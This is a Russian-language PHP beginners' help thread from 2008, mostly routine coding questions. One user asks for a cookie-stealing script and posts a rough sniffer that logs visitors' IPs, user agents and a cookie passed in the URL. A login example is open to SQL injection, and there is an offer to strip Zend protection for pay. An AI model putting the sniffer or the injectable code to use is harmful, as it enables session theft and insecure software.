Просмотр полной версии : [php] Новичкам: задаем вопросы
groundhog
09.06.2008, 19:54
oRb, я любитель поизвращаться... Но чтобы так, как предложил ты... :) Чтож, снимаю перед тобой шляпу! Могу только предложить использовать крон на удалённой машине... :)
Корвин, ob_start(), ob_get_contents(), ob_end_clean() или ob_end_flush();
ы, я прочитал только первый абзац, поэтому не допер толком, что конкретно надо.
да можно обойтись буферами. А можно и попробовать кешированием на базе HTTP-протокола. (подробней http://phpclub.ru/detail/magazine/2006/02/ )
ps:
oRb, я любитель поизвращаться... Но чтобы так, как предложил ты... :) Чтож, снимаю перед тобой шляпу! Могу только предложить использовать крон на удалённой машине... :)
можно сервак на мобильнике поднять %) и написать прогу, которая по координатам gps будет определять твое местоположение. И если широта будет в 1.5 раза больше долготы, то она будет выполнять скрипт :D
андрюха321
09.06.2008, 20:43
Я новичек не судите строго за мой вопрос, но для того и форум чтобы спрашивать..... Меня интересует скрипт который ворует куки, как его написать или хотябы чтонибудь про это
groundhog
09.06.2008, 20:48
А чё у новичков поиск не работает? Что за безобразие!!!
http://forum.antichat.ru/showpost.php?p=457195&postcount=1
андрюха321
09.06.2008, 21:41
я прочел-> http://forum.antichat.ru/showpost.php?p=457195&postcount=1 И у меня появились вопросы, где создавать файлы sniff.php и log.txt в блокноте и где их сохранять? И еще вот я создал страничку на юкозе, мне в "шаблонах" все удалить надо и туда заливать снифер или не надо ничего удалять а в этуже страницу заливать?
На юкозе нельзя заливать свои пхп файлы, ты не сделаешь там сниффер
Почему не выведет методы в классах модер администратор?
<?php
class User
{
private $log;
private $pas;
function __construct($log,$pas)
{
$this->log = $log;
$this->pas = $pas;
}
function LevelAcess($log,$pas)
{
if($log == $this->log && $pas == $this->pas ){
return true;
}
else
{
return false;
}
}
public function getLogin()
{
return $this->log;
}
}
class Normal extends User
{
// future send news
}
class Moderation extends User
{
public function moderator($m)
{
echo("Here you can post and edit news<br>");
}
function future()
{
// under contruction
}
}
class Admin extends User
{
public function adminit($b)
{
echo("Here you can ban bad user<br>");
}
function future()
{
// under contruction
}
}
$nooby = new User("moder","1238");
echo "User:".$nooby->getLogin();
$moder = new Moderation("mod","1238");
//$moder->moderator($m);
$adm = new Admin("admin","1234");
if($moder->LevelAcess($log,$pas))
{
$moder->moderator($m);
}
if($adm->LevelAcess($log,$pas))
{
$adm->adminit($b);
}
?>
андрюха321
10.06.2008, 10:00
а на народе можно заливать свои пхп файлы?
андрюха321
10.06.2008, 10:25
я вот вроде написал снифер, только не знаю правильно или нет $data=date("D.M.Y"); $time=date("h:i"); $ip=trim($_SERVER['REMOTE_ADDR']); $sysinfo=trim($_SERVER['HTTP_USER_AGENT']); if(is_file($file)){ $fo=fopen($file,"a"); $res="$data | $time | $ip | $sysinfo \n"; $fw=fwrite($fo,$res); fclose($fo); } $query=trim($HTTP_GET_VARS['cook']); $res="$data | $time | $ip | $sysinfo \n $query \n"; Header("Content-type: image/png"); $im = ImageCreateFromGif("путь_к_моей_картинке");
ImageGif($im);
ImageDestroy($im);
используй крон.
крон тут непричем, ты не понял суть проблемы, у меня получается и скрипт генерящий страничку и парсер этой странички в одном коде, и я думал что када эта страничка будет открываться скрипт ее сперва сгенерит а потом парсером пройдет по ней же, но почему то так не работает=(
крон тут непричем, ты не понял суть проблемы, у меня получается и скрипт генерящий страничку и парсер этой странички в одном коде, и я думал что када эта страничка будет открываться скрипт ее сперва сгенерит а потом парсером пройдет по ней же, но почему то так не работает=(
2 решения:
1. Вместо echo собирать в переменную. (неудобно)
2. http://ru2.php.net/manual/ru/ref.outcontrol.php (удобно)
g-warning
10.06.2008, 11:44
Народ выручайте)
имеется файл -
SiteMap.txt
http://www.site.com/gde-deshevo-pokupatsya.html
http://www.site.com/kupit-odejdu.html
http://www.site.com/kupit-nedorogo.html
http://www.site.com/kupit-rykzak.html
http://www.site.com/kitayskie-kupit.html
http://www.site.com/novosibirsk-kuply.html
Нужно написать скрипт который бы выводил это файл таким образом -
<a href="http://www.site.com/gde-deshevo-pokupatsya.html">http://www.site.com/gde-deshevo-pokupatsya.html</a>
<a href="http://www.site.com/kupit-odejdu.html">http://www.site.com/kupit-odejdu.html</a>
<a href="http://www.site.com/kupit-nedorogo.html">http://www.site.com/kupit-nedorogo.html</a>
<a href="http://www.site.com/kupit-rykzak.html">http://www.site.com/kupit-rykzak.html</a>
<a href="http://www.site.com/kitayskie-kupit.html">http://www.site.com/kitayskie-kupit.html</a>
<a href="http://www.site.com/novosibirsk-kuply.html">http://www.site.com/novosibirsk-kuply.html</a>
Заранее спасибо :)
g-warning, вот:
<?
$in = file("SiteMap.txt");
foreach ($in as $item)
echo "<a href=\"".trim($item)."\">".trim($item)."</a>";
?>
g-warning, вот:
<?
$in = file("SiteMap.txt");
foreach ($in as $item)
echo "<a href=\"".trim($item)."\">".trim($item)."</a>";
?>
<?
$in = file("SiteMap.txt");
foreach ($in as $item)
echo '<a href="'.trim($item).'">'.trim($item).'</a>';
?>
так проще чем со слешами
groundhog
10.06.2008, 14:25
Почему не выведет методы в классах модер администратор?
<?php
class User
{
private $log;
private $pas;
function __construct($log,$pas)
{
$this->log = $log;
$this->pas = $pas;
}
function LevelAcess($log,$pas)
{
if($log == $this->log && $pas == $this->pas ){
return true;
}
else
{
return false;
}
}
public function getLogin()
{
return $this->log;
}
}
class Normal extends User
{
// future send news
}
class Moderation extends User
{
public function moderator($m)
{
echo("Here you can post and edit news<br>");
}
function future()
{
// under contruction
}
}
class Admin extends User
{
public function adminit($b)
{
echo("Here you can ban bad user<br>");
}
function future()
{
// under contruction
}
}
$nooby = new User("moder","1238");
echo "User:".$nooby->getLogin();
$moder = new Moderation("mod","1238");
//$moder->moderator($m);
$adm = new Admin("admin","1234");
if($moder->LevelAcess($log,$pas))
{
$moder->moderator($m);
}
if($adm->LevelAcess($log,$pas))
{
$adm->adminit($b);
}
?>
Надеюсь, ты знаешь, что атрибуты, описанные как private не наследуются? Кто будет в производных классах инициализировать конструкторы базовых классов?
Buffalon
10.06.2008, 15:29
а на народе можно заливать свои пхп файлы?... .Нет... .
Тут где то есть тема типа `Я новичок с чего начать`.ПОсмотри её
Добрый день. Подскажите пожалуйста, что означает следующая регулярка?
preg_match('|<span class=\"show_detail\">(.*)<\/span>|Uis',...
правильно ли я понял, что она из всей страницы сама ищет класс show_detail и берет все что в нем???
а если текст имеет вид:
<td valign="top" style='PADDING-LEFT: 10px;'>
<span class='date'>[11.06.2008 09:13] </span><br>
<H1>NBU’s Official Exchange Rate, June 11, 2008</H1><br>
<span class="show_detail">
<P class=MsoNormal style="M...
а мне нужно то что между <H1></H1>
preg_match('|<H1>(.*)<\/H1>|Uis',...
так будет правильно?
Спрашиваю, потому что не работает...
<?php
$text = '<td valign="top" style=\'PADDING-LEFT: 10px;\'>
<span class=\'date\'>[11.06.2008 09:13] </span><br>
<H1>NBU’s Official Exchange Rate, June 11, 2008</H1><br>
<span class="show_detail">
<P class=MsoNormal style="M...';
preg_match('|<H1>(.*)<\/H1>|Uis', $text, $xek);
echo $xek['1'];
?>
аха. нашел ошибочку. спс!
test.html
<html>
<head>
<title>Форма для отправки сообщения через веб-интерфейс
</title>
</head>
<body><center>
<table border=0>
<tr>
<td bgcolor=lightblue><b><h4>Для отправки нам сообщения используйте следующую форму
</tr>
<tr>
<td bgcolor=red>
<form action=mail1.php method=post>
<center><b>Ваше имя<br><input type=text name=name size=30><p>
Ваш e-mail<br><input type=text name=email size=30><p>
Ваше сообщение<br><textarea name=mess rows=5 cols=50></textarea><p>
<input type=submit value="Отправить сообщение">
</form>
</tr>
</table></center>
</body>
</html>
mail1.php
<?php
if (isset ($name))
{
$name = substr($name,0,20); //Не может быть более 20 символов
if (empty($name))
{
echo "<center><b>Не указано имя !!!<p>";
echo "<a href=reklama.html>Вернуться и правильно заполнить форму.</a>";
exit;
}
}
else
{
$name = "не указано";
}
if (isset ($email))
{
$email = substr($email,0,20); //Не может быть более 20 символов
if (empty($email))
{
echo "<center><b>Не указан e-mail !!!<p>";
echo "<a href=reklama.html>Вернуться и правильно заполнить форму.</a>";
exit;
}
}
else
{
$email = "не указано";
}
if (isset ($mess))
{
$mess = substr($mess,0,1000); //Не может быть более 1000 символов
if (empty($mess))
{
echo "<center><b>Сообщение не написано !!!<p>";
echo "<a href=reklama.html>Вернуться и правильно заполнить форму.</a>";
exit;
}
}
else
{
$mess = "не указано";
}
$i = "не указано";
if ($name == $i AND $email == $i AND $mess == $i)
{
echo "Ошибка ! Скрипту не были переданы параметры !";
exit;
}
$to = "ваш@адрес.ru";
$subject = "Сообщение с вашего интернет-сайта";
$message = "Имя пославшего:$name::::::::::Электро нный адрес:$email::::::::::Сообщение:$mes s:::::::::IP-адрес:$REMOTE_ADDR";
mail ($to,$subject,$message) or print "Не могу отправить письмо !!!";
echo "<center><b>Спасибо за отправку вашего сообщения";
exit;
?>
Добавляю своё мыло в $to, заливаю 2 файла в одну папку, заполняю все поля в test.html, а мне выдает Ошибка ! Скрипту не были переданы параметры ! В чем может быть проблема?
ты забыл в поля формы добавить value=""
Нужно обьявить ключевые переменные
$name = $_POST['name'];
$email = $_POST['email'];
$mess = $_POST['mess'];
<?php
$name = $_POST['name'];
$email = $_POST['email'];
$mess = $_POST['mess'];
if (isset ($name))
{
$name = substr($name,0,20); //Не может быть более 20 символов
if (empty($name))
{
echo "<center><b>Не указано имя !!!<p>";
echo "<a href=reklama.html>Вернуться и правильно заполнить форму.</a>";
exit;
}
}
else
{
$name = "не указано";
}
if (isset ($email))
{
$email = substr($email,0,20); //Не может быть более 20 символов
if (empty($email))
{
echo "<center><b>Не указан e-mail !!!<p>";
echo "<a href=reklama.html>Вернуться и правильно заполнить форму.</a>";
exit;
}
}
else
{
$email = "не указано";
}
if (isset ($mess))
{
$mess = substr($mess,0,1000); //Не может быть более 1000 символов
if (empty($mess))
{
echo "<center><b>Сообщение не написано !!!<p>";
echo "<a href=reklama.html>Вернуться и правильно заполнить форму.</a>";
exit;
}
}
else
{
$mess = "не указано";
}
$i = "не указано";
if ($name == $i AND $email == $i AND $mess == $i)
{
echo "Ошибка ! Скрипту не были переданы параметры !";
exit;
}
$to = "ваш@адрес.ru";
$subject = "Сообщение с вашего интернет-сайта";
$message = "Имя пославшего:$name::::::::::Электро нный адрес:$email::::::::::Сообщение:$mes s:::::::::IP-адрес:$REMOTE_ADDR";
mail ($to,$subject,$message) or print "Не могу отправить письмо !!!";
echo "<center><b>Спасибо за отправку вашего сообщения";
exit;
?>
хочу сделать чтоб за место загруженйо певрой фоткив выводе отображалась одна картинка если есть фотка то допустим всегда картинка 1.gif а если нету то картинка 2.gif
Тоесть нужно именит условие что если есть фотка то не брать ее на превьшку а испольовать картинку 1.gif
думаю стрчоку надо заменить
$pic = EAImage::load_firstPic($obj->id, $eaconf->ea_picpath, $eaconf->ea_tbwidth);
просто с синтаксисом неочень дружу..помогите кто может
defined( '_VALID_MOS' ) or die( 'Restricted access' );
$pic = EAImage::load_firstPic($obj->id, $eaconf->ea_picpath, $eaconf->ea_tbwidth);
$href= sefRelToAbs(ampReplace("index.php?option=com_estat eagent&Itemid=$Itemid&act=object&task=showEO&id=". $obj->id));
?>
<tr class="sectiontableentry<?php echo (($line%2)+1) ?>" >
<td width="100%">
<table border="0" cellspacing="1" cellpadding="0">
<tr>
<td rowspan=3 ><a href="<?php echo $href?>"><?php echo $pic ?></a></td>
<td height="50" width="100%" >
<a href="<?php echo $href ?>"><b><?php echo "<img src='images/M_images/arrow.png' alt='' border='0'/>".$obj->obj_id.": ". $obj->title; ?></b></a><?php EA_Template::FastEditBtn($obj); ?>
</td>
<td ><?php if(@$obj->hot==1 &&$showhot==1 ){ ?>
<img src="components/com_estateagent/pictures/gui/hot.gif" alt="Hot Offer!!" border="0"/>
<?php } ?> </td>
</tr>
Как хедером сделать рефреш страницы? Мне именно надо на тот же урл.
header('Location: ' . basename(__FILE__));
Не катит
EST a1ien
12.06.2008, 14:19
.Slip мне вот что фаерфокс выдал кгда я попробовал кидаю четко на тотже урл.
Firefox определил, что сервер перенаправляет запрос на этот адрес таким образом, что он никогда не завершится.
а если на тотже файл то можно так.
if($_SERVER["QUERY_STRING"]=='test')
{
header('Location: ' .$_SERVER["SCRIPT_NAME"]);
}
Дело в том что у меня не просто файл. Там есть параметры. Т.е.
script.php?blabla=111&bla=222&blablabla=333
И данные передаваемые гетом ес-но меняются. Поэтому написать статичный адрес не получится. Мне нужен именно рефреш того урла с которого идёт запуск скприта.
EST a1ien
12.06.2008, 14:41
ну вобще есть переменная $_SERVER["REQUEST_URI"] но если ты кидаешь четко по ней не изменяя параметры то скорее всего тебя не кинет по ней. нужно немного изменять урл.
например добавлять переменную какуюнибудь.
напремер можно так.
script.php?blabla=111&bla=222&blablabla=333&ref=1
выглядеть будет так
if(!isset($_GET['ref']))
{
header('Location: '.$_SERVER["REQUEST_URI"].'&ref=1');
}
Не, всё таки это не подходит. Хер тогда на хедеры, какой функцией рефрешнуть страницу?
Если нужен рефреш, то вот
header('Refresh: 0; URL='.$_SERVER["REQUEST_URI"]);
Если нужен рефреш, то вот
header('Refresh: 0; URL='.basename(__FILE__));
Опять же. Я выше написал про параметры. У меня идёт запрос к 1.php?blabla=1 - далее выполняется какой либо код, и идёт рефреш страницы. Вот мне надо что бы именно открылась 1.php?blabla=1 , то что ты кинул, редиректит на 1.php без параметров.
Да пока ты писал, я пост обновил)
Не, всё таки это не подходит. Хер тогда на хедеры, какой функцией рефрешнуть страницу?
http://en.wikipedia.org/wiki/Meta_refresh
В общем более-менее с этим разобрался, но теперь при рефреше не обновляются данные на странице=\
add:
Всё, не надо. Разобрался.
Почему не раб счетчик
<?php
class file
{
var $file;
var $bufer;
function __construct($files)
{
//open file from directory
$this->file=fopen($files,"r+");
if(!$this->file)
{
echo "Error open file";
}
}
function bufer ()
{
// here view
$this->bufer =fread($this->file,100);
}
function prints()
{
echo $this->bufer;
echo "<br>";
}
function __destruct()
{
fclose($this->file);
}
}
class file2 extends file
{
function write($text)
{
fputs($this->file,$text);
}
function counts()
{
$total = 0;
while(!feof($this->file))
{
$str = fgets($this->file);
$total++;
}
echo $total;
}
}
$one = new file2 ("file.txt");
$one->bufer();
$one->prints();
echo"<br>";
$one->counts();
echo"<br>";
$text="best PHP";
$one->write($text);
?>
EST a1ien
12.06.2008, 22:42
$one->prints();
Вот эта строчка переходит к концу файла.
и вот этот цикл не разу не проходит.
while(!feof($this->file))
{
$str = fgets($this->file);
$total++;
}
Тоесть у тебя на момент подхода к циклу указатель уже находится в конце файла.
Buffalon
13.06.2008, 01:01
Используй функцию ftruncate помойму так пишется>Переводит указатель на начало
ftruncate помойму так пишется>Переводит указатель на начало
ftruncate — Урезает файл до указанной длинны
Надо или
rewind($fp)
или
fseek($fp, 0);
Добрый день. Подскажите пожалуйста как правильно задать количество символов, которые нужно брать из файла с помощью команды:
$open=file_get_contents($site,"r");
сам принцип не знаю, как добавить аргумент, если перед ним есть еще аргумент, но его я не задаю...
$open=file_get_contents($site,"r",,,10000);
как бы и так не работает и так:
$open=file_get_contents($site,"r",'','',10000);
file_get_contents ( string $filename [, bool $use_include_path [, resource $context [, int $offset [, int $maxlen ]]]] )
вот как пропустить не нужные аргументы и задать последний int $maxlen ??
<?php
$open = file_get_contents('vv.txt', false, null, 0, 5);
echo $open;
?>
не, так не работает. нужный мне текст находится примерно на между 40000 и 45000 символами. я с запасом беру 100000. и не находит в нем нужный текс
Бедте добры подскажите как получить кол-во записей в Mysql базе....
Бедте добры подскажите как получить кол-во записей в Mysql базе....
Во всей базе или только одной таблице
$sql = "SELECT count(id) `table_name`";
table_name - имя таблицы
А со всей можно так
$db=mysql_connect("localhost", "user_name", "");
$db_list=mysql_list_dbs($db);
while($r_db=mysql_fetch_object($db_list)) {
echo $r_db->Database."n";
// распечатать список таблиц
$t_list=mysql_list_tables($r_db->Database);
for($i=0;$i<mysql_num_rows($t_list);$i++) {
echo " - ".mysql_tablename($t_list,$i)."n";
}
}
пример выведет все имена баз данных и таблиц, которые в них содержаться
Недолго переделать, что бы не имена таблиц выводило, а делало запрос
$sql = "SELECT COUNT(id)" . mysql_tablename($t_list,$i);
и то значение что вернет(количество записей) добавлять к какойто переменной
Здравствуйте ребятки!
Для вас, думаю, не составит труда помочь мне в столь легкой задаче!?
Как правильно сделать скрипт на ПХП типа «Сайт переехал»?
С уважением и благодарностью, SeeJay!
Подскажите пожалуйста с регулярочкой.
чтобы из текста вида:
...span>
<span class='content_arial'><a class='td' href='/ukr/online/62/2094752.html'>Госфинуслуг обнародовала проект требований к диверсификации активов компаний по страхованию жизни</a></span>
</td>...
взять цифры после ukr/online/62/ вместе с .html ???
раьше работала регулярка:
preg_match_all('/(\d+)\.html/s',....
щас она уже не фурычит из-за изменения сайта.
Как правильно сделать скрипт на ПХП типа «Сайт переехал»?
Создать Index.html со следющим содержимым, залить где раньше был сайт(доменное имя), www.newurl.com - новый адресс
<script type="text/javascript">
setTimeout('location.replace("http://www.newurl.com")', 3000);
</script>
<noscript>
<meta http-equiv="refresh" content="3; url=http://www.newurl.com">
</noscript>
<h1>Сайт переехал</h1>
Подскажите пожалуйста с регулярочкой.
$test - это строка, где содержиться ссылка
$pattern = '/((\d+)\.html)/s';
preg_match($pattern, $test, $matces);
echo $matces[1];
Buffalon
14.06.2008, 21:24
[QUOTE=Naydav]Как правильно сделать скрипт на ПХП типа «Сайт переехал»?
Создать Index.html со следющим содержимым, залить где раньше был сайт(доменное имя), www.newurl.com - новый адресс
ХМ
Смотря что тебе нужно донест до посетителя... .Можно просто HEADER('LOCALTION:microsoft/xXx.php');)
Всем привет!
Вопрос такой:
Есть форма вводим Имя и Фамилию
С формы данные пишуться в файл (post). Как можно защатиться от спама формы?
Скрипт обрабатывающий форму
$Name = $_POST['name'];
$Sname = $_POST['sname'];
$log = fopen("log.txt","a+");
fwrite($log,"$Name" "$Sname");
fclose($log);
я так понимаю это идет проверка на одинаковые строки?
з.Ы. попробовал не спасает (
З.Ы.Ы Формы имя и фамилия постоянно флудятся разными данными
PandoraBox
15.06.2008, 08:04
<?php
error_reporting(0); // Off errors
function encode_ip($ip){
$d = explode('.', $ip);
return sprintf('%02x%02x%02x%02x', $d[0], $d[1], $d[2], $d[3]);
}
//Filtrated POST
$name = preg_replace("/[\r\n\s]/", "", $_POST['name']);
$sname = preg_replace("/[\r\n\s]/", "", $_POST['sname']);
// Check correct
if (!$name || !$sname) die("Доступ запрещен. Проверьте корректность введенных данных."); /* LOL :) */
// Check logs
$log = file("log.txt"); // Open file line array
for ($i=0; $i< sizeof($log); $i++){ // Search lines
if($log[$i] == $name." ".$sname."\n"){ // Found
die("Данная Имя и Фамилия уже используется."); // Attacked Must die
}
}
$log_ip = file("log_ip.txt"); // Open file line array
for ($i=0; $i< sizeof($log_ip); $i++){ // Search lines
if($log_ip[$i] == encode_ip($_SERVER["REMOTE_ADDR"])."\n"){ // Found
die("С вашего ИП уже было отправлено сообщение."); // Attacked Must die
}
}
// Logs write
$log = fopen("log.txt","a+");
$log_ip = fopen("log_ip.txt","a+");
fwrite($log, $name." ".$sname."\n");
fwrite($log_ip, encode_ip($_SERVER["REMOTE_ADDR"])."\n");
fclose($log);
fclose($log_ip);
?>
ИМХО проверка по Ip от СПАМА не защищает, защищает от флуда. А заспамить могут взяв 1к элитных прокси к примеру, и проспамив что надо. Так что ели ты имел ввиду именно спам формы - ставь капчу.
Всем привет!
Вопрос такой:
Есть форма вводим Имя и Фамилию
С формы данные пишуться в файл (post). Как можно защатиться от спама формы?
Скрипт обрабатывающий форму
$Name = $_POST['name'];
$Sname = $_POST['sname'];
$log = fopen("log.txt","a+");
fwrite($log,"$Name" "$Sname");
fclose($log);
Ставь капчу(картинку с кодом подтверждения) только чтонить посложней.
Всем срасибо,воспользовался сриптом Panbdorы он помогает,единственно что если у юзеров одинаковые айпи то одному облом )
PandoraBox
15.06.2008, 21:46
Капчу тож поставь вот ссылка на библиотеку http://www.captcha.ru/kcaptcha/
mad_xakep
16.06.2008, 12:53
вопрос ваще нубовский
вот у меня файл он инклудирует оформление при помощи
<? include "tpl/header.tpl"; ?> лежит в главонй /
а если файл находиться в /data/1.php
а файл /tpl/header.tpl
как мне путь то до него прописать как непробовал неполучаеться
мне надо именно оттуда инклудировать
вопрос ваще нубовский
вот у меня файл он инклудирует оформление при помощи
<? include "tpl/header.tpl"; ?> лежит в главонй /
а если файл находиться в /data/1.php
а файл /tpl/header.tpl
как мне путь то до него прописать как непробовал неполучаеться
мне надо именно оттуда инклудировать
../tpl/header.tpl
ппц народ пошол
mad_xakep
16.06.2008, 12:59
../tpl/header.tpl
ппц народ пошол
бля я это пробовал воощето не пашет и так почему то
методом опхода каталогов ../..
допустим /public_html/1/1.php нужно проинклудить в /public_html/2/2.php
2.php должен быть таким
<?
include('../1/1.php');
?>
Дык нужно двигаться тогда от root_dir:
/var/www/tpl/header.tpl
вообщем от начального пути
Подскажите ка будет выглядеть код для получения данных из формы
мыло;пас
мыло1;пас1
.......
для дальнейшей их проверки через функцию которой нужно 1 и 2параметр из списка
и те данные которые так сказать валид выводяться ниже а не валид не выводятся
================================================== =
я так понимаю надо из формы передать данные в массив
далее нуужно рассортировать данные из массива list($email,$pass) = explode(";", ***)
нужно для массива for($i=0;$i<count(**);$i++) ???
тебе нада сразу распределить по масивам тогда уж пассы и логины
for ($i=1; $i<count($_POST); $i++)
{
$login[$i] = $_POST[login.$i];
$pass[$i] = $_POST[pass.$i];
}
тока name у input'ов прописывай типа login1 pass1, login2 pass2 , а потом проверяй их как те нада
Корвин
не
$_POST[login.$i];
а
$_POST['login'.$i];
Корвин
не
$_POST[login.$i];
а
$_POST['login'.$i];
может немного не грамотно, но работает, а на будущее учту
Эм вы немного не так поняли )
там textarea а не inputbox )
мне из textarea надо данные сунуть в массив дальше их разделить на логин и пароль ну а там функция проверки уже
вот как реализовать саму вбивку в массив?
EST a1ien
16.06.2008, 20:52
$accs=isset($_POST['acclist']) ? $_POST['acclist'] : '';
$login=array();
$pass=array();
$i=0;
$accarr=explode("\n",str_replace("\r",'',$accs));
foreach($accarr as $acc)
{
$allaccs=explode(":",$acc);
$login[$i]=$allaccs[0];
$pass[$i]=$allaccs[1];
$i++;
}
EST a1ien
16.06.2008, 21:56
ребята нужен маленький хелп.
как декодировать строку.
вобщем вот ссылка на файл. на нем я ставил эксперименты. Строчки передаются из Flash там пробовал их кодировать, а так же не кодировать.
http://a1ien.net.ru/vkmessager/logs.txt
будте добры скажите как сделать запрос и как из него получить колличество записей в бд....
___________________________________
http://www.hash.ixces.ru/img.gif
не могу найти где подпись делать.... может я ударился головой? напишите если кто знает...
EST a1ien
16.06.2008, 22:22
mysql_connect( $host, $user, $pass );
mysql_select_db( $db);
$res=mysql_query("SELECT .......");
$num=mysql_num_rows($res);
будте добры скажите как сделать запрос и как из него получить колличество записей в бд....
for ($i = 0; $i < $num; $i++) {
$row = mysql_fetch_array ($res);
}
В дополнение к сказанному EST a1ien
как декодировать строку.?
http://www.php.net/url_decode
EST a1ien
16.06.2008, 23:09
http://www.php.net/url_decode самый умный? делал! непомогает! не задавал бы если былобы все так просто так просто.
будте добры скажите как сделать запрос и как из него получить колличество записей в бд....
Отвечал же тебе уже!
Во всей базе или только одной таблице
$sql = "SELECT count(id) `table_name`";
table_name - имя таблицы
А со всей можно так
$db=mysql_connect("localhost", "user_name", "");
$db_list=mysql_list_dbs($db);
while($r_db=mysql_fetch_object($db_list)) {
echo $r_db->Database."n";
// распечатать список таблиц
$t_list=mysql_list_tables($r_db->Database);
for($i=0;$i<mysql_num_rows($t_list);$i++) {
echo " - ".mysql_tablename($t_list,$i)."n";
}
}
пример выведет все имена баз данных и таблиц, которые в них содержаться
Недолго переделать, что бы не имена таблиц выводило, а делало запрос
$sql = "SELECT COUNT(id)" . mysql_tablename($t_list,$i);
и то значение что вернет(количество записей) добавлять к какойто переменной
EST a1ien
17.06.2008, 13:45
ребята нужен маленький хелп.
как декодировать строку........
Проблема решана помогло iconv
Написал вход на сайт, но что то он перестал работать! :)
Вчера работал! :)
Помогите плиз разобраться, что тут нитак:
<?php
session_start();
if(!session_is_registered("valid_user")){
?>
<form action="prolog.php" enctype="multipart/form-data" method="post">
<div style="margin:90px 0px 0px 20px;" >
<table width="149" height="100" border="0" cellspacing="0" cellpadding="0">
<tr>
<td valign="bottom" class="iePNG" style="background-image: url(img/login.png); background-position:top left; background-repeat:no-repeat; height:37px; padding:0px 0px 4px 4px;">
<input type="text" name="login" style="border:none; background:none; width:143px; font-size:14px;" />
</td>
</tr>
<tr>
<td style="height:10px;"></td>
</tr>
<tr>
<td valign="bottom" class="iePNG" style="background-image: url(img/password.png); background-position:top left; background-repeat:no-repeat; height:37px; padding:0px 0px 4px 4px;">
<input type="password" name="password" style="border:none; background:none; width:143px; font-size:14px;" />
</td>
</tr>
<tr>
<td align="" style="padding-top:5px;"><input type="image" src="img/reg.png" style="margin-right:14px;" onClick="window.open('member.php',''); return false;" /> <input type="image" src="img/vhod.png" /></td>
</tr>
</table>
</div>
</form>
<?php
}
else{
if($login && $password){
include("admin/config.php");
$result = mysql_query ("SELECT * FROM `member` WHERE `login`='".$login."' AND `password`='".$password."'");
if(!empty($result)){
$row = mysql_fetch_array ($result);
$valid_user = $row["id"];
echo $valid_user;
session_register("valid_user");
if(session_is_registered("valid_user")){
echo'<div style="font:; margin:0px 20px 0px 20px;">Мы рады Вас приветствовать <i>'.$row["login"].'</i>!</div>';
}
}
}
}
EST a1ien
17.06.2008, 16:10
Написал вход на сайт, но что то он перестал работать!
Вчера работал!
Помогите плиз разобраться, что тут нитак:
if($login && $password){
if($_POST['login'] && $_POST['password']){
А если стоит регистер глобалс?
---
Может так:
if(isset($_POST['login']) && isset($_POST['password'])) {
---
ЗЫ код смотреть впадлу
if($login && $password){
if($_POST['login'] && $_POST['password']){
нет, непомогает :(
А если стоит регистер глобалс?
---
Может так:
if(isset($_POST['login']) && isset($_POST['password'])) {
---
ЗЫ код смотреть впадлу
не, за ночь я регистер в глобалс не менял :)
Помогите, help :confused:
может я дурак, но объясни что делает это ?
if($login && $password){
include("admin/config.php");
Если ты делаешь так
if($login && $password){
if($_POST['login'] && $_POST['password']){
то и
$result = mysql_query ("SELECT * FROM `member` WHERE `login`='".$_POST['login'] ."' AND `password`='".$_POST['password']."'"); нужно делать... вообще везде замени переменные на $_POST
вообще, сделай перед этой строкой
echo "SELECT * FROM `member` WHERE `login`='".$_POST['login'] ."' AND `password`='".$_POST['password']."'";
И посмотри что выведет
Config.php - проверь
ps
А на какой сайт это вход???
Ты про sql-injection не слыхал? :)[U]
может я дурак, но объясни что делает это ?
if($login && $password){
include("admin/config.php");
если существуют переменные логин и пассворд инклудиться скрипт config.php. все понятно. видимо там конфиги к доступу БД или еще чего-нибудь.
если существуют переменные логин и пассворд инклудиться скрипт config.php. все понятно. видимо там конфиги к доступу БД или еще чего-нибудь.
хм...
а разве не через isset ?
!empty($a), isset($a), ($a) разница?
!empty($a), isset($a), ($a) разница?
Вообщето разница ОГРОМНАЯ!
Так ради интереса запусти скриптик
$a = "";
if(!empty($a)) echo "empty";
if(isset($a)) echo "isset";
Buffalon
17.06.2008, 18:26
!empty($a), isset($a), ($a) разница?
.::lol::.
если существуют переменные логин и пассворд инклудиться скрипт config.php. все понятно. видимо там конфиги к доступу БД или еще чего-нибудь.
Спасибо! Но в конфиге всё ок, я разобрался, нужно было вперед поставить проверку на вводимые данные, а потом уже на то, зарегена сессия или нет!
.::lol::.
я просил показать мне разницу, а не флудить.
ps
А на какой сайт это вход???
Ты про sql-injection не слыхал? :)[U]
Слыхал! :D Скули закрою позже все.
проверку на вводимые данные,
Надеюсь у тебя в эту проверку входит фильтрация :)
судя по его коду обработчик передает в prolog.php 2 переменные:
$_POST['login'] и $_POST['password']
так причем тут
$login && $password
я просил показать мне разницу, а не флудить.
Я ТЕБЕ ПОКАЗАЛ РАЗНИЦУ, читай внимательно выше
---------------------------------
$a = "";
if(!empty($a)) echo "empty";
if(isset($a)) echo "isset";
EST a1ien
17.06.2008, 18:33
!empty($a), isset($a), ($a) разница?
empty - проверяет что переменная содержит значение.
isset проверяет что переменная существует.
($a) вобще некоректно если использовать взамен empty и isset
Я ТЕБЕ ПОКАЗАЛ РАЗНИЦУ, читай внимательно выше
---------------------------------
да я видел, спасибо. я прокомментирвал умника. держи плюс
самый умный? делал! непомогает! не задавал бы если былобы все так просто так просто.
Алёша тебе имя.
Вывод в утф8 идёт. Не абвгдеёжз... получилось ли?
Ребят помогите неуку, 2суток сижу над этим примером
$date = split("\:",date("H:i:s"));
$sec = $date[0] * 3600 + $date[1] * 60 + $date[2];///$sec max=86399 при date=23:59:59
$sec - текущее время
$a - время действия №1
$b - время действия №2
if ($sec>=$a){действие №1}
else {ничего не делаем}
if ($sec>=$b){действие №2}
else {ничего не делаем}
а если текущее время 23:00:00
время действия №1 01:00:00
а время действия №2 22:00:00
как зделать чтоб действие №1 не выполнялось а №2 выполнялось? или я что то не то делаю?
а есть тут нуллеры?? или кто нить сможет вытащить из под зенда скриптик один?? очень очень надо!!
PandoraBox
18.06.2008, 01:42
а есть тут нуллеры?? или кто нить сможет вытащить из под зенда скриптик один?? очень очень надо!!могу занулить естествено не бесплатно если что пиши -)
saha, юзай mktime (http://php.net/mktime)
Nightmarе
18.06.2008, 02:28
Так вот, опять я со своими бредо-идеями по PHP.
Значит есть 2 скрипта:
1) http://supersite.ru/script1.php
2) http://lol.com/script2.php
При обращении к первому скрипту (script1.php) он передаёт POST запрос через сокеты второму скрипту.
